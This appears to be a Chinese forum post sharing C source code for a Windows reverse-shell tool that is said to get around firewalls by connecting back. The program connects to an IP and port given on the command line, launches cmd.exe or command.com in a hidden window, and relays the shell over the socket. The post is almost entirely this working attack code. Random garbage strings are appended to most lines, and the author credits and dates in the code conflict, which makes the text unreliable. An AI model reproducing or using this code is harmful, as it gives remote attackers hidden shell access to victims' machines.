这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aBhV3Fd[B
b O=yi)
/* ============================== WF2NG;f=
Rebound port in Windows NT zvY+R\,in
By wind,2006/7 MuwQZ]u
===============================*/ Ha%F"V*
#include 2?W7I/F
#include .Pe9_ZH$W
ZtK\HDdp
#pragma comment(lib,"wsock32.lib") PY`L$e
1svi8wh
void OutputShell(); y7:tr
SOCKET sClient; \=;uu_v$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y+9h~,:A
w\Mnu}<e$
void main(int argc,char **argv) ;#1Iiuh
{ 6BocGo({
WSADATA stWsaData; DIaYo4
int nRet; d,0 }VaY=D
SOCKADDR_IN stSaiClient,stSaiServer; >xqM5#m`E$
)}MHx`KT2
if(argc != 3) WA6!+Gy
{ O/Rhf[7v*
printf("Useage:\n\rRebound DestIP DestPort\n"); =Q<L
eh=G
return; kkS~4?-*
} @%hCAm
h1[WhBL-O
WSAStartup(MAKEWORD(2,2),&stWsaData); QJn`WSw$_-
DWU`\9xA*
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ffe1lw%
j}:~5 |.
stSaiClient.sin_family = AF_INET; :K':P5i
stSaiClient.sin_port = htons(0); =8Ehrlq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LOvHkk@+
;apzAF
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2-'Opu
{ Wht(O~F
printf("Bind Socket Failed!\n"); ;@3FF
return; FS"eM"z
} wW 2d\Zd&
~Rpm-^
stSaiServer.sin_family = AF_INET; ~+G#n"P n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P[ r];e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
?wb+L
X^@I].
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rJJ[X4$
{ vUA0FoOp
printf("Connect Error!"); Sv'y e
return; 5D Y\:AF
} W_`A"WdT.
OutputShell(); HYK!}&
} Km#pX1]>e
ememce,Np
void OutputShell() <7_KeOLJ
{ l?8M
p$M
char szBuff[1024]; 5J2=`=FK
SECURITY_ATTRIBUTES stSecurityAttributes; Ge+0-I6Ju
OSVERSIONINFO stOsversionInfo; )$Mmn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B,WTHU[AV
STARTUPINFO stStartupInfo; Oakb'
char *szShell; $wB^R(f@
PROCESS_INFORMATION stProcessInformation; #A7jyg":
unsigned long lBytesRead; C?4JXW
o|BP$P8V
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MJ`3ta
1oLv.L
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D*PYr{z'
stSecurityAttributes.lpSecurityDescriptor = 0; O81X;JdP3
stSecurityAttributes.bInheritHandle = TRUE; .7NNT18
o Y}]UB>
!7bw5H
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~EzaC?fQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a:,y
Z
;`YkMS`=W
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )D&M2CUw"f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8~lIe:F-
stStartupInfo.wShowWindow = SW_HIDE; ~ PWSo%W8
stStartupInfo.hStdInput = hReadPipe; U69u'G:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fBn"kr;
4Y> Yi*n
GetVersionEx(&stOsversionInfo); (-77[+2
Ny- [9S-<
switch(stOsversionInfo.dwPlatformId) ;<
jbLhHwD
{ Yap?^&GV
case 1: G!N{NCq
szShell = "command.com"; I){\0vb@
break; A-
YBQPE
default: JA)?p{j
szShell = "cmd.exe"; tR0pH8?e"
break; V
r(J+1@
} ?~"bR%
M 3 '$[
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f/,>%j=Ms
$''?HjB}T
send(sClient,szMsg,77,0); }9HmTr|
while(1) j(:I7%3&(*
{ K,'*Dz
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cJo\#cr
if(lBytesRead) OO dSKf8
{ 7?8wyk|x
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {5r0v#;
send(sClient,szBuff,lBytesRead,0); >T2LEW
} E/&Rb*3
else @ V08U!
{ 9Jf)!o8
lBytesRead=recv(sClient,szBuff,1024,0); ~\)qi=
if(lBytesRead<=0) break; le +R16Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SzwQOs*
} W7"{r)7
} I:bD~Fb3
vu!d)Fy
return; n79QJl/
}